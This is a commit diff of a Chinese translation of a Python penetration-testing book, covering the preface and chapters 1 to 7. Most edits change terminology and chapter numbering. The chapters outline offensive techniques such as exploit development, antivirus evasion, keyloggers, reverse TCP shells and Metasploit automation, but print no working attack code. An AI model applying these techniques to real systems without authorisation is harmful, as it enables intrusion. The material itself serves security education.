2021-10-22 22:34:44

trans/handson-pentest-py/00.md

-# 前言
+# 零、前言
 
 在网络安全和 Python 编程领域，有这么多由才华横溢的人撰写的精彩书籍，这本书有什么不同之处？这是一个非常有效的问题，现在让我们来回答这个问题。
 
-这本书试图简单地描述我在过去几年中使用 Python 和渗透测试领域所获得的实践经验。它是 Python、渗透测试/攻击性安全、防御性安全和机器学习用例在 pentesting 生态系统中的独特融合。这本书以温和的方式开始，涵盖了 Python 的所有关键概念，使读者能够在前四章结束时非常得体地掌握 Python，然后点击 gear 并深入研究渗透测试和网络安全用例的核心自动化。读者将了解如何从头开始开发行业标准漏洞扫描器，与 Nessus 和 Qualys 完全相同。然后，本书探讨了有关 web 应用程序漏洞及其利用的概念，以及通过定制的利用自动化 web 利用。它还提供了对 Windows 和 Linux 环境中的反向工程、模糊化和缓冲区溢出漏洞的非常深入的了解，利用 Python 作为核心。有一节专门介绍自定义漏洞开发，重点是规避反病毒检测。本书还有一章专门介绍如何开发网络爬虫及其在网络安全领域的应用。这本书还提供了关于防御安全概念的深入见解，讨论了网络威胁情报，以及如何开发自定义威胁评分算法。本书最后介绍了 Python 的许多其他有益的用例，例如开发自定义键盘记录器。
+这本书试图简单地描述我在过去几年中使用 Python 和渗透测试领域所获得的实践经验。它是 Python、渗透测试/攻击性安全、防御性安全和机器学习用例在 pentesting 生态系统中的独特融合。这本书以温和的方式开始，涵盖了 Python 的所有关键概念，使读者能够在前四章结束时非常得体地掌握 Python，然后点击 gear 并深入研究渗透测试和网络安全用例的核心自动化。读者将了解如何从头开始开发行业标准漏洞扫描器，与 Nessus 和 Qualys 完全相同。然后，本书探讨了有关 web 应用漏洞及其利用的概念，以及通过定制的利用自动化 web 利用。它还提供了对 Windows 和 Linux 环境中的反向工程、模糊化和缓冲区溢出漏洞的非常深入的了解，利用 Python 作为核心。有一节专门介绍自定义漏洞开发，重点是规避反病毒检测。本书还有一章专门介绍如何开发网络爬虫及其在网络安全领域的应用。这本书还提供了关于防御安全概念的深入见解，讨论了网络威胁情报，以及如何开发自定义威胁评分算法。本书最后介绍了 Python 的许多其他有益的用例，例如开发自定义键盘记录器。
 
 # 这本书是给谁的
 
@@ -18,21 +18,21 @@
 
 [第 4 章](04.html)*高级 Python 模块*将学习过程提升到高级水平，并探索 Python 理解多处理和多线程概念以及 socket 编程的能力。
 
-[第 5 章](05.html)*漏洞扫描程序 Python-第 1 部分*探讨了制作微型漏洞扫描引擎所需的高级概念，该引擎将从基于 Nmap 构建的自定义端口扫描程序中获取端口扫描结果，并应用各种开源脚本和 Metasploit 模块，以及 Python、Ruby 和 NSE 脚本。结果将被汇总，最后，将起草一份报告供分析师分析。本章在复杂性和代码行方面非常重要，分为两部分。本部分重点介绍使用 Python 实现端口扫描的自动化。
+[第 5 章](05.html)*漏洞扫描器 Python-第 1 部分*探讨了制作微型漏洞扫描引擎所需的高级概念，该引擎将从基于 Nmap 构建的自定义端口扫描器中获取端口扫描结果，并应用各种开源脚本和 Metasploit 模块，以及 Python、Ruby 和 NSE 脚本。结果将被汇总，最后，将起草一份报告供分析师分析。本章在复杂性和代码行方面非常重要，分为两部分。本部分重点介绍使用 Python 实现端口扫描的自动化。
 
-[第 6 章](09.html)*漏洞扫描程序 Python—第 2 部分*探讨了制作微型漏洞扫描引擎所需的高级概念。本章是前一章的延续，读者将学习如何协调各种 Kali Linux 工具以协同工作，从而自动化漏洞评估的服务枚举阶段，从而完成自定义漏洞扫描程序的开发。
+[第 6 章](09.html)*漏洞扫描器 Python—第 2 部分*探讨了制作微型漏洞扫描引擎所需的高级概念。本章是前一章的延续，读者将学习如何协调各种 Kali Linux 工具以协同工作，从而自动化漏洞评估的服务枚举阶段，从而完成自定义漏洞扫描器的开发。
 
 [第 7 章](07.html)*机器学习和网络安全*试图将网络安全空间与数据科学联系起来，并阐明如何使用机器学习和自然语言处理自动化渗透测试的手动报告分析阶段。本章还将结合前面的所有部分，根据我们迄今为止获得的知识，制作一个小型渗透测试工具包。
 
-[第 8 章](08.html)*自动化 Web 应用程序扫描-第 1 部分*向读者解释了如何使用 Python 自动化各种 Web 应用程序攻击类别，其中最著名的是 SQL 注入、XSS、CSRF 和点击劫持。
+[第 8 章](08.html)*自动化 Web 应用扫描-第 1 部分*向读者解释了如何使用 Python 自动化各种 Web 应用攻击类别，其中最著名的是 SQL 注入、XSS、CSRF 和点击劫持。
 
-[第 9 章](09.html)*自动 Web 应用程序扫描-第 2 部分*是前一章的延续。在这里，读者将了解如何使用 Python 开发自定义的漏洞利用，从而利用 web 应用程序，并最终为使用 Python 的用户提供 shell 访问。
+[第 9 章](09.html)*自动 Web 应用扫描-第 2 部分*是前一章的延续。在这里，读者将了解如何使用 Python 开发自定义的漏洞利用，从而利用 web 应用，并最终为使用 Python 的用户提供 shell 访问。
 
-[第 10 章](10.html)*构建自定义爬虫*解释了如何构建一个用 Python 编码的自定义爬虫，以便在应用程序中爬行，有认证和无认证，同时列出测试中应用程序的注入点和网页。爬虫的功能可以根据需要进行扩展和定制。
+[第 10 章](10.html)*构建自定义爬虫*解释了如何构建一个用 Python 编码的自定义爬虫，以便在应用中爬行，有认证和无认证，同时列出测试中应用的注入点和网页。爬虫的功能可以根据需要进行扩展和定制。
 
-[第 11 章](11.html)*反向工程 Linux 应用程序和缓冲区溢出*解释了如何对 Linux 应用程序执行反向工程。读者还将了解如何使用 Python 来帮助 Linux 环境中的缓冲区溢出漏洞。本章还针对缓冲区溢出漏洞，指导读者进行自定义攻击开发。
+[第 11 章](11.html)*反向工程 Linux 应用和缓冲区溢出*解释了如何对 Linux 应用执行反向工程。读者还将了解如何使用 Python 来帮助 Linux 环境中的缓冲区溢出漏洞。本章还针对缓冲区溢出漏洞，指导读者进行自定义攻击开发。
 
-[第 12 章](12.html)*反向工程 Windows 应用程序*解释了如何对 Windows 应用程序执行反向工程，以及如何使用 Python 帮助解决 Windows 环境中的缓冲区溢出漏洞。本章还针对缓冲区溢出漏洞，指导读者进行自定义攻击开发。
+[第 12 章](12.html)*反向工程 Windows 应用*解释了如何对 Windows 应用执行反向工程，以及如何使用 Python 帮助解决 Windows 环境中的缓冲区溢出漏洞。本章还针对缓冲区溢出漏洞，指导读者进行自定义攻击开发。
 
 [第 13 章](13.html)*漏洞开发*解释了读者如何创建自己用 Python 编写的漏洞，可以扩展为 Metasploit 模块的漏洞，还介绍了 Shell 的编码以避免检测。
 

trans/handson-pentest-py/01.md

-# Python 简介
+# 一、Python 简介
 
 本章将介绍 Python，主要关注 Python 编程语言遵循的数据类型、变量、表达式和程序结构。本章的目的是让读者熟悉 Python 的基础知识，以便在接下来的章节中使用它。本章将介绍 Python 及其依赖关系管理器的安装。我们还将开始研究 Python 中的脚本。
 
@@ -33,7 +33,7 @@
 *   数据科学家
 *   网络工程师
 
-还有许多其他角色，但我们现在只关注最通用的选项，看看 Python 如何适合它们。让我们从程序员或软件开发人员的角色开始。截至 2018 年，Python 被列为招聘广告中第二流行的语言（[https://www.codingdojo.com/blog/7-most-in-demand-programming-languages-of-2018/](https://www.codingdojo.com/blog/7-most-in-demand-programming-languages-of-2018/) ）。程序员的角色可能因公司而异，但作为一名 Python 程序员，您可能正在制作一个用 Python 编写的软件产品，开发一个用 Python 编写的网络安全工具（GitHub 和网络安全社区的其他地方已经有很多这样的工具），制作能够模仿人类的机器人原型，设计智能家居自动化产品或实用工具，等等。Python 的范围涵盖了软件开发的各个方面，从典型的软件应用程序到健壮的硬件产品。这是因为该语言易于理解，其强大的库支持能力（由庞大的社区支持）以及开源的美妙之处。
+还有许多其他角色，但我们现在只关注最通用的选项，看看 Python 如何适合它们。让我们从程序员或软件开发人员的角色开始。截至 2018 年，Python 被列为招聘广告中第二流行的语言（[https://www.codingdojo.com/blog/7-most-in-demand-programming-languages-of-2018/](https://www.codingdojo.com/blog/7-most-in-demand-programming-languages-of-2018/) ）。程序员的角色可能因公司而异，但作为一名 Python 程序员，您可能正在制作一个用 Python 编写的软件产品，开发一个用 Python 编写的网络安全工具（GitHub 和网络安全社区的其他地方已经有很多这样的工具），制作能够模仿人类的机器人原型，设计智能家居自动化产品或实用工具，等等。Python 的范围涵盖了软件开发的各个方面，从典型的软件应用到健壮的硬件产品。这是因为该语言易于理解，其强大的库支持能力（由庞大的社区支持）以及开源的美妙之处。
 
 让我们转到网络。近年来，Python 作为一种 web 开发语言，在成熟度方面做得非常好。Django、Flask 和 CherryPy 等最流行的基于 web 的全栈框架使使用 Python 进行 web 开发成为了一种无缝、干净的体验，同时也带来了大量的学习、定制和灵活性。我个人最喜欢的是 Django，因为它提供了一个非常干净的 MVC 体系结构，其中业务层、逻辑层和表示层完全隔离，使开发代码更干净，更易于管理。Django 已经装上了所有的电池，支持 ORM，支持使用芹菜进行后台任务处理，它做了任何其他 web 框架都能做的事情，同时保留了 Python 中的本机代码。Flask 和 CherryPy 也是 web 开发的最佳选择，它们可以控制数据流和定制。
 

trans/handson-pentest-py/02.md

-# 构建 Python 脚本
+# 二、构建 Python 脚本
 
 本章将介绍所有编程语言的核心概念。这包括条件语句、循环、函数和包。我们将看到，这些概念在 Python 中与在其他编程语言中几乎相同，只是一些语法上的差异。但语法只是需要练习；其他一切都会自动排成一行。我们将在本章中介绍的主题如下：
 

trans/handson-pentest-py/03.md

-# 概念处理
+# 三、概念处理
 
 本章将让我们熟悉 Python 中的各种面向对象概念。我们将看到 Python 不仅可以用作脚本语言，而且还支持广泛的面向对象原则，因此可以用于设计可重用和可伸缩的软件组件。除此之外，我们还将探讨正则表达式、文件和其他基于 I/O 的访问，包括 JSON、CSV 和 XML。最后，我们将讨论异常处理。本章将介绍以下主题：
 

trans/handson-pentest-py/04.md

-# 高级 Python 模块
+# 四、高级 Python 模块
 
 本章将使我们熟悉某些高级 Python 模块，这些模块在涉及响应时间、处理速度、互操作性和通过网络发送数据等参数时非常方便。我们将在线程和进程的帮助下研究 Python 中的并行处理。我们还将阅读有关在 IPC 和子流程的帮助下在流程之间建立通信的内容。之后，我们将探索 Python 中的套接字编程，并通过实现反向 TCP 外壳进入网络安全领域。本章将涵盖以下主题：
 
@@ -179,7 +179,7 @@ Process started
 
 在前面的代码片段中，我们使用`subprocess.Popen()`方法调用`subprocess`。调用或调用`subprocess`的其他方法很少，例如`call()`，但我们这里讨论的是`Popen`。这是因为`Popen`方法返回将生成的进程的进程 ID，这反过来使我们能够很好地控制该进程。`Popen`方法接受许多参数，其中第一个参数实际上是要在操作系统级别执行的命令。命名参数包括`stderr=subprocess.PIPE`，这意味着如果外部程序或脚本产生错误，则该错误必须重定向到操作系统管道，父进程必须从该管道读取错误。`stdout=subprocess.PIPE`建议子进程将产生的输出也必须通过管道发送到父进程。`shell=True`建议无论给出什么命令，第一个参数必须被视为`shell`命令，如果它有一些参数，它们必须作为要调用的进程的参数传递。最后，如果我们希望父进程读取子进程产生的输出和错误，我们必须在被调用的`subprocess`上调用`communicate()`方法。`communicate()`方法打开`subprocess`管道，通信从子进程写入管道一端开始，父进程从另一端读取。必须注意的是，`communicate()`方法将使父进程等待子进程完成。该方法返回一个元组，其输出位于第 0 个索引，std error 位于第 1 个索引。
 
-应该注意的是，我们永远不应该在实际示例中使用`shell=True`，因为这会使应用程序容易受到 shell 注入的影响。避免使用以下行：
+应该注意的是，我们永远不应该在实际示例中使用`shell=True`，因为这会使应用容易受到 shell 注入的影响。避免使用以下行：
 `>>> subprocess.Popen(command, shell=True) #This would remove everything !!`
 
 请看下面的示例，其中我们将使用`shell=False`。对于`shell=False`，我们调用的进程/命令的命令和参数必须作为列表单独传递。让我们试着用`shell=False`执行`ls -l`：

trans/handson-pentest-py/05.md

-# Python 漏洞扫描程序-第 1 部分
+# 五、Python 漏洞扫描器——第一部分
 
-当我们谈到端口扫描时，会自动想到的工具是 Nmap。Nmap 有着良好的声誉，它可以说是最好的开源端口扫描器。它具有大量功能，允许您在网络上执行各种扫描，以发现哪些主机处于活动状态，哪些端口处于打开状态，以及主机上运行哪些服务和服务版本。它还有一个引擎（Nmap 扫描引擎），可以扫描 NSE 脚本，用于发现运行服务的常见漏洞。在本章中，我们将使用 Python 来自动化端口扫描过程。本章将构成我们的自动漏洞扫描程序的基础，并将补充下一章，该章将侧重于自动化服务扫描和枚举。
+当我们谈到端口扫描时，会自动想到的工具是 Nmap。Nmap 有着良好的声誉，它可以说是最好的开源端口扫描器。它具有大量功能，允许您在网络上执行各种扫描，以发现哪些主机处于活动状态，哪些端口处于打开状态，以及主机上运行哪些服务和服务版本。它还有一个引擎（Nmap 扫描引擎），可以扫描 NSE 脚本，用于发现运行服务的常见漏洞。在本章中，我们将使用 Python 来自动化端口扫描过程。本章将构成我们的自动漏洞扫描器的基础，并将补充下一章，该章将侧重于自动化服务扫描和枚举。
 
 本章涵盖以下主题：
 
 *   介绍 Nmap
-*   用 Python 构建网络扫描程序
+*   用 Python 构建网络扫描器
 
 # 介绍 Nmap
 
@@ -53,7 +53,7 @@
 
 ![](assets/fb56c950-1a2e-40aa-b206-c3316e593f3e.png)
 
-# 用 Python 构建网络扫描程序
+# 用 Python 构建网络扫描器
 
 现在，我们都已经设置好 VirtualBox 映像，让我们看一看一个简单的 Python 脚本，它将帮助我们调用 Nmap 并启动扫描。稍后，我们将优化此脚本以使其更好。最后，我们将使其成为一个具有暂停、恢复和多处理功能的成熟的端口扫描 Python 引擎：
 
@@ -160,8 +160,8 @@ import Nmap # import Nmap.py module
 *   `Driver_scanner.py`：端口扫描结束后，下一步是进行服务扫描，该 Python 类调用另一个类`driver_meta.py`，该类取要进行服务扫描的项目名称或 ID。
 *   `driver_meta.py`：此类显示端口扫描的默认结果，并提供给用户在需要时重新配置结果的选项。在重新配置之后，该类从当前项目的数据库表中读取要进行服务扫描的主机。然后，对于每个主机，它读取 JSON 文件以获取要执行的命令，对于要执行的每个命令，它将控制传递给另一个文件`auto_comamnds.py`。
 *   `auto_commands.py`：该文件接受`driver_meta.py`中的参数，并调用外部技术，如 NSE、Ruby、Python、Java、bash 脚本，或 Metasploit、Wireshark 和 Nikto 等工具。然后，它们用于对所选服务、主机和端口执行服务扫描。命令执行结束后，将结果返回`driver_meta.py`保存在数据库中。
-*   `IPtable.py`：在数据库表中存储端口扫描结果的类。它表示漏洞扫描程序的数据层。
-*   `IPexploits.py`：在数据库表中存储服务扫描结果的类。它还表示漏洞扫描程序的数据层。
+*   `IPtable.py`：在数据库表中存储端口扫描结果的类。它表示漏洞扫描器的数据层。
+*   `IPexploits.py`：在数据库表中存储服务扫描结果的类。它还表示漏洞扫描器的数据层。
 
 # 开始
 
@@ -244,7 +244,7 @@ import Nmap # import Nmap.py module
 
 ![](assets/d998a5dc-be7b-4796-a2a5-4b3f0a3a9275.png)
 
-必须注意的是，为了暂停扫描，我们只需按下控制台或终端窗口上的*Ctrl*+*C*即可。当前扫描将暂停，根据当前项目 ID 适当更新后端数据库中的状态。还应注意，如前所述，上述方法构成漏洞扫描程序端口扫描程序（部分）的中心逻辑。确切的代码还有一些其他功能，详细信息可以在 GitHub 存储库[<中找到 https://github.com/FurqanKhan1/Dictator >](http://%3Chttps://github.com/FurqanKhan1/Dictator%3E)。
+必须注意的是，为了暂停扫描，我们只需按下控制台或终端窗口上的*Ctrl*+*C*即可。当前扫描将暂停，根据当前项目 ID 适当更新后端数据库中的状态。还应注意，如前所述，上述方法构成漏洞扫描器端口扫描器（部分）的中心逻辑。确切的代码还有一些其他功能，详细信息可以在 GitHub 存储库[<中找到 https://github.com/FurqanKhan1/Dictator >](http://%3Chttps://github.com/FurqanKhan1/Dictator%3E)。
 
 # 执行代码
 
@@ -264,13 +264,13 @@ import Nmap # import Nmap.py module
 
 在前面的屏幕截图中可以看到，对于一台主机，生成了三个子进程，创建了一个线程。
 
-# 漏洞扫描程序的端口扫描部分的数据库架构
+# 漏洞扫描器的端口扫描部分的数据库架构
 
 让我们尝试了解后端数据库以及我们正在使用的数据库中各种表的结构。`show databases`命令用于列出 MySQL 中存在的所有数据库：
 
 ![](assets/33fbdd85-907e-4b6c-81b8-3713c8e0c79c.png)![](assets/6b682cfd-471e-4e60-ba2e-16e9734fd478.png)
 
-为了使用与我们的漏洞扫描程序相关的当前数据库，我们使用 use`nmapscan`命令。此外，为了查看当前数据库中的所有表，我们使用`show tables`命令：
+为了使用与我们的漏洞扫描器相关的当前数据库，我们使用 use`nmapscan`命令。此外，为了查看当前数据库中的所有表，我们使用`show tables`命令：
 
 ![](assets/34d0290a-b420-42ed-8d8e-db7f49cd82a2.png)
 
@@ -292,7 +292,7 @@ import Nmap # import Nmap.py module
 
 # 总结
 
-在本章中，我们讨论了如何使用 Python 内置的 Nmap 实用程序执行和自动化端口扫描，以及暂停和恢复扫描的附加功能，以及使用线程和多处理添加一层优化。在下一章中，我们将继续介绍漏洞扫描程序，以了解现在如何使用端口扫描结果进一步自动化和协调服务扫描。我们还将讨论漏洞扫描器的 GUI 版本，它有大量的功能和非常直观的仪表板。
+在本章中，我们讨论了如何使用 Python 内置的 Nmap 实用程序执行和自动化端口扫描，以及暂停和恢复扫描的附加功能，以及使用线程和多处理添加一层优化。在下一章中，我们将继续介绍漏洞扫描器，以了解现在如何使用端口扫描结果进一步自动化和协调服务扫描。我们还将讨论漏洞扫描器的 GUI 版本，它有大量的功能和非常直观的仪表板。
 
 # 问题
 

trans/handson-pentest-py/06.md

-# Python 漏洞扫描程序-第 2 部分
+# 六、Python 漏洞扫描器-第二部分
 
 当我们谈到使用开源脚本进行服务扫描时，首先想到的是使用各种 NSE 脚本来获取服务版本以及与配置的服务相关的漏洞。现在，在一个典型的手动网络渗透测试中，我们不仅使用 NSE 脚本来完成任务，还使用各种 Ruby、Perl 和 Bash 脚本以及 Java 类文件。我们还运行 Metasploit 辅助模块进行服务扫描，并利用模块利用漏洞和创建 POC。我们还可以运行各种 Kali 工具，如 Nikto for web scanning，或 SQLmap、w3af 和 Wireshark，为配置不当的 FTP 或 SSH 服务捕获明文用户名和密码。所有这些工具和脚本都会产生一个巨大的信息池，测试人员需要手动枚举并整合该信息池。还必须消除误报，以得出关于哪些服务具有哪些漏洞的结论。手动服务扫描的另一个方面是，它缺乏标准化，更多地依赖于个人的专业知识和所用脚本的选择。重要的是要记住，要使用的脚本大多是彼此分离的，因此一个人必须遵循顺序方法来运行所有所需的脚本和模块。我们可以实现有限的并行性。
 
-在本章中，我们将了解漏洞扫描程序如何自动化所有这些活动，并为整个生态系统带来标准化。我们还将看到自动扫描器如何调用和协调所有惊人的工具，Kali 必须为渗透测试人员生成一份完整的报告，从而为他们提供一个可用于快速分析的整合视图。我们还将研究漏洞扫描器的 GUI 版本，它具有更高级的功能，并补充了 Nessus 等现有漏洞扫描器。必须注意的是，当我使用*这个词来补充*时，我绝不会将我们的扫描仪与 Nessus 或 Qualys 进行比较。它们都是经过多年研发而发展起来的优秀商业产品，并且有一些优秀的工程师在研究它们。然而，我们将建立一个令人惊讶的好东西；了解代码让您有机会为扫描仪做出贡献，这反过来有助于随着时间的推移使其更好、更大。
+在本章中，我们将了解漏洞扫描器如何自动化所有这些活动，并为整个生态系统带来标准化。我们还将看到自动扫描器如何调用和协调所有惊人的工具，Kali 必须为渗透测试人员生成一份完整的报告，从而为他们提供一个可用于快速分析的整合视图。我们还将研究漏洞扫描器的 GUI 版本，它具有更高级的功能，并补充了 Nessus 等现有漏洞扫描器。必须注意的是，当我使用*这个词来补充*时，我绝不会将我们的扫描仪与 Nessus 或 Qualys 进行比较。它们都是经过多年研发而发展起来的优秀商业产品，并且有一些优秀的工程师在研究它们。然而，我们将建立一个令人惊讶的好东西；了解代码让您有机会为扫描仪做出贡献，这反过来有助于随着时间的推移使其更好、更大。
 
 # 架构概述
 
@@ -141,7 +141,7 @@ lst = {
 }
 ```
 
-在第**（15）**、`ss = set(lst_temp).intersection(set(lst_pre))`节中，我们正在两个包含字典键的结构之间进行一组交集。一个结构包含字典`lst`中的键，字典又包含端口扫描程序发现的所有服务。另一个包含从预配置的 JSON 文件加载的密钥，其目的是让我们看到所有发现的服务，这些服务映射了测试用例。所有发现和映射的服务密钥/名称都位于列表**SS**中，表示要扫描的服务。
+在第**（15）**、`ss = set(lst_temp).intersection(set(lst_pre))`节中，我们正在两个包含字典键的结构之间进行一组交集。一个结构包含字典`lst`中的键，字典又包含端口扫描器发现的所有服务。另一个包含从预配置的 JSON 文件加载的密钥，其目的是让我们看到所有发现的服务，这些服务映射了测试用例。所有发现和映射的服务密钥/名称都位于列表**SS**中，表示要扫描的服务。
 
 在第**（16）**、`ms=list(set(lst_temp) - set(lst_pre))`节中，我们将 JSON 文件中未配置的服务与发现的服务进行比较。就常见的服务而言，我们的 JSON 文件非常详尽，但仍有一些情况下，Nmap 可能会在端口扫描期间找到一个未在 JSON 文件中预配置的服务。在本节中，我们试图识别 Nmap 发现的服务，但在 JSON 文件中没有针对这些服务映射测试用例。为了做到这一点，我们在两个结构之间做了一系列的区别。我们将这些服务标记为`new`，用户可以针对它们配置测试用例，也可以脱机分析它们以执行自定义测试用例。所有这些服务都将被放入名为`ms`的列表中，其中**ms**代表**错过的服务**。
 
@@ -283,7 +283,7 @@ entries= {"Entries": {"http_5": [true, "0", "0"], "http_trace_1": [true, "0", "0
 
 # 期望
 
-Pexpect 是一个 Python 模块，它的工作方式类似于 Unix 的 expect 库。此库的主要目的是自动化交互式控制台命令和实用程序。Pexpect 是一个纯粹的 Python 模块，用于生成子应用程序、控制它们并响应它们输出中的预期模式。Pexpect 允许您的脚本生成一个子应用程序并控制它，就像人类键入命令一样。Pexpect 可用于自动化交互式应用程序，如 SSH、FTP、passwd、telnet 等。
+Pexpect 是一个 Python 模块，它的工作方式类似于 Unix 的 expect 库。此库的主要目的是自动化交互式控制台命令和实用程序。Pexpect 是一个纯粹的 Python 模块，用于生成子应用、控制它们并响应它们输出中的预期模式。Pexpect 允许您的脚本生成一个子应用并控制它，就像人类键入命令一样。Pexpect 可用于自动化交互式应用，如 SSH、FTP、passwd、telnet 等。
 
 我们将使用 Pexpect 使用 Python 自动化 Metasploit，并在中调用各种需要用户交互的终端自动化用例。必须注意，使用 Python 代码调用 Metasploit 还有另外两种方法：`"msfrpc"`，它调用构建在 Metasploit 之上的服务 API，以及`".rc"`脚本。然而，我们观察到，使用 Pexpect 模块取得了最大的成功。
 
@@ -437,7 +437,7 @@ if(i==1):
 start_sniffing()
 ```
 
-我们通常使用 Wireshark 来捕获接口上的所有流量。由于 Wireshark 是一个桌面应用程序，因此在本例中，我们将使用**Tshark**。Tshark 代表终端 shark，是 Wireshark 的 CLI 版本。Tshark 调用命令在第**（2）**节中指定，其中我们指定希望 Tshark 嗅探流量的端口。我们还指定需要嗅探流量的主机或目标主机。我们同时指定主机和端口的原因是我们希望保持结果的完整性；该工具的 GUI 版本可以部署在服务器上，多个用户可以使用它进行扫描。如果我们指定它应该在接口上嗅探，那么来自其他用户的其他正在运行的会话的数据也将被嗅探。为了避免这种情况，我们对主机和端口非常具体。我们还指定它嗅探的超时时间。我们将输出保存在指定为`"project_id_host_port_capture-output.pcap"`的文件中。
+我们通常使用 Wireshark 来捕获接口上的所有流量。由于 Wireshark 是一个桌面应用，因此在本例中，我们将使用**Tshark**。Tshark 代表终端 shark，是 Wireshark 的 CLI 版本。Tshark 调用命令在第**（2）**节中指定，其中我们指定希望 Tshark 嗅探流量的端口。我们还指定需要嗅探流量的主机或目标主机。我们同时指定主机和端口的原因是我们希望保持结果的完整性；该工具的 GUI 版本可以部署在服务器上，多个用户可以使用它进行扫描。如果我们指定它应该在接口上嗅探，那么来自其他用户的其他正在运行的会话的数据也将被嗅探。为了避免这种情况，我们对主机和端口非常具体。我们还指定它嗅探的超时时间。我们将输出保存在指定为`"project_id_host_port_capture-output.pcap"`的文件中。
 
 在第**（2）**节中，我们在前面讨论的子流程模块的帮助下调用`tshark`流程：
 
@@ -459,15 +459,15 @@ start_sniffing()
 
 要运行代码，请转到以下路径：`/root/Django_project/Dictator/Dictator_Service`。将代码文件`driver_main_class.py`作为`:python Driver_scanner.py`运行必须注意的是，结果是使用 Python 库生成的，该库将控制台输出转换为其 HTML 等价物。更多详细信息可在以下代码文件[中找到 https://github.com/PacktPublishing/Hands-On-Penetration-Testing-with-Python](https://github.com/PacktPublishing/Hands-On-Penetration-Testing-with-Python) ，根据`generate_results()`方法。
 
-# 漏洞扫描程序的服务扫描部分的数据库架构
+# 漏洞扫描器的服务扫描部分的数据库架构
 
 对于扫描结果的服务扫描，请转到 IPexploits 表，其架构如下所示：
 
 ![](assets/330d9b69-af86-4e96-86d5-d4d3c968b98b.png)
 
-# 漏洞扫描程序的 GUI 版本
+# 漏洞扫描器的 GUI 版本
 
-可以增强前面讨论的相同代码库，以开发基于 web 的漏洞扫描程序版本，同时具有端口扫描和服务扫描功能。该工具有许多不同的功能，包括一个四层体系结构，它有一个 web 层表示、一个 web 层服务器、一个 API 层和一个 DB 层。从 GitHub 存储库[下载并安装该工具的 web 版本 https://github.com/FurqanKhan1/Dictator/wiki](https://github.com/FurqanKhan1/Dictator/wiki) 。或者，您可以使用即插即用虚拟机，只需登录并在`https://127.0.0.1:8888`打开浏览器即可访问该工具。
+可以增强前面讨论的相同代码库，以开发基于 web 的漏洞扫描器版本，同时具有端口扫描和服务扫描功能。该工具有许多不同的功能，包括一个四层体系结构，它有一个 web 层表示、一个 web 层服务器、一个 API 层和一个 DB 层。从 GitHub 存储库[下载并安装该工具的 web 版本 https://github.com/FurqanKhan1/Dictator/wiki](https://github.com/FurqanKhan1/Dictator/wiki) 。或者，您可以使用即插即用虚拟机，只需登录并在`https://127.0.0.1:8888`打开浏览器即可访问该工具。
 
 扫描仪 GUI 版本的各种功能包括：
 
@@ -632,7 +632,7 @@ start_sniffing()
 
 # 总结
 
-在本章中，我们讨论了如何使用各种 Python 模块来实现服务扫描自动化的任务。我们还研究了如何结合使用线程和多处理来解决实际问题。本章讨论的所有概念在前几章中基本上都提到过。在本章结束时，读者应该很好地理解 Python 在网络安全领域的强大功能，以及我们如何使用它来制作自己的扫描仪。我们还查看了 GUI 模式下漏洞扫描程序的概述。
+在本章中，我们讨论了如何使用各种 Python 模块来实现服务扫描自动化的任务。我们还研究了如何结合使用线程和多处理来解决实际问题。本章讨论的所有概念在前几章中基本上都提到过。在本章结束时，读者应该很好地理解 Python 在网络安全领域的强大功能，以及我们如何使用它来制作自己的扫描仪。我们还查看了 GUI 模式下漏洞扫描器的概述。
 
 在下一章中，我们将看到如何使用机器学习和自然语言处理来自动化渗透测试阶段的手动报告分析阶段。
 

trans/handson-pentest-py/07.md

-# 机器学习与网络安全
+# 七、机器学习与网络安全
 
 如今，**机器学习**（**ML**是我们经常遇到的一个术语。在本章中，我们将概述 ML 到底是什么，它解决了什么样的问题，以及它在网络安全生态系统中可以有什么样的应用。我们还将研究各种不同类型的 ML 模型，以及在哪些情况下可以使用哪些模型。应该注意的是，本书的范围不是详细介绍 ML，而是提供对 ML 及其在网络安全领域中的应用的坚实理解。
 
@@ -367,7 +367,7 @@ from sklearn.feature_extraction.text import CountVectorizer
 
 ML 在网络安全领域中的一个应用是，我曾经尝试过自动化报告分析任务，以发现漏洞。我们现在知道了我们在上一章中构建的漏洞扫描器是如何工作的，但是所有集成脚本和工具产生的数据量是巨大的，我们需要手动处理或分析它。在 Nessus 或 Qualys 等典型的扫描仪中，插件实际上是脚本。由于它们是由 Nessus 和 Qualys 内部开发的，因此脚本旨在发现缺陷并以易于理解的方式报告。然而，在我们的例子中，我们正在集成许多开源脚本和工具集，并且生成的输出没有集成。为了自动化此任务并获得漏洞概述，我们需要了解脚本或工具在标记漏洞的场景中以及在返回结果安全的场景中产生的输出。根据我们的理解和每个脚本的预期输出模式，我们必须起草 Python 代码逻辑，以发现哪个插件产生了不安全的检查结果，哪个插件返回了安全检查。这需要付出巨大的努力。每当我们增加集成脚本的数量时，我们代码的逻辑也需要更新，因此是否要遵循这条路径取决于您。
 
-我们手头的另一种方法是利用机器学习和 NLP。既然有一个巨大的历史 pentesting 数据池可供我们使用，为什么不将其提供给机器学习模型，并训练它了解什么是不安全的，什么是安全的？感谢我们使用漏洞扫描程序执行的历史渗透测试报告，我们的数据库表中有大量数据。我们可以尝试重用这些数据，使用机器学习和 NLP 自动化手动报告分析。我们谈论的是监督学习，它需要一次性的努力来适当地标记数据。假设我们采用了过去 10 次渗透测试的历史数据，平均每个测试 3 个 IP。我们还假设平均每个 IP 执行 100 个脚本（取决于打开端口的数量）。这意味着我们有 3000 个脚本的数据。
+我们手头的另一种方法是利用机器学习和 NLP。既然有一个巨大的历史 pentesting 数据池可供我们使用，为什么不将其提供给机器学习模型，并训练它了解什么是不安全的，什么是安全的？感谢我们使用漏洞扫描器执行的历史渗透测试报告，我们的数据库表中有大量数据。我们可以尝试重用这些数据，使用机器学习和 NLP 自动化手动报告分析。我们谈论的是监督学习，它需要一次性的努力来适当地标记数据。假设我们采用了过去 10 次渗透测试的历史数据，平均每个测试 3 个 IP。我们还假设平均每个 IP 执行 100 个脚本（取决于打开端口的数量）。这意味着我们有 3000 个脚本的数据。
 
 我们需要手动标记结果。或者，如果测试人员在用户界面中显示数据，测试人员可以在测试时通过复选框选择**易受攻击**/**不易受攻击**，该复选框将作为显示数据的标签。假设我们能够用 1 标记所有结果数据，其中测试用例或检查结果为安全，而 0 标记测试用例结果为不安全。然后，我们将标记数据，这些数据将被预处理并提供给我们的 NLP 模型，该模型将接受关于它的培训。一旦模型得到训练，我们就会坚持模型。最后，在实时扫描过程中，我们将测试用例的结果传递给我们经过训练的模型，使其对测试用例进行预测，这些测试用例的结果容易受到攻击，而不易受到攻击。然后，测试人员只需要关注易受攻击的测试用例并准备它们的开发步骤。
 
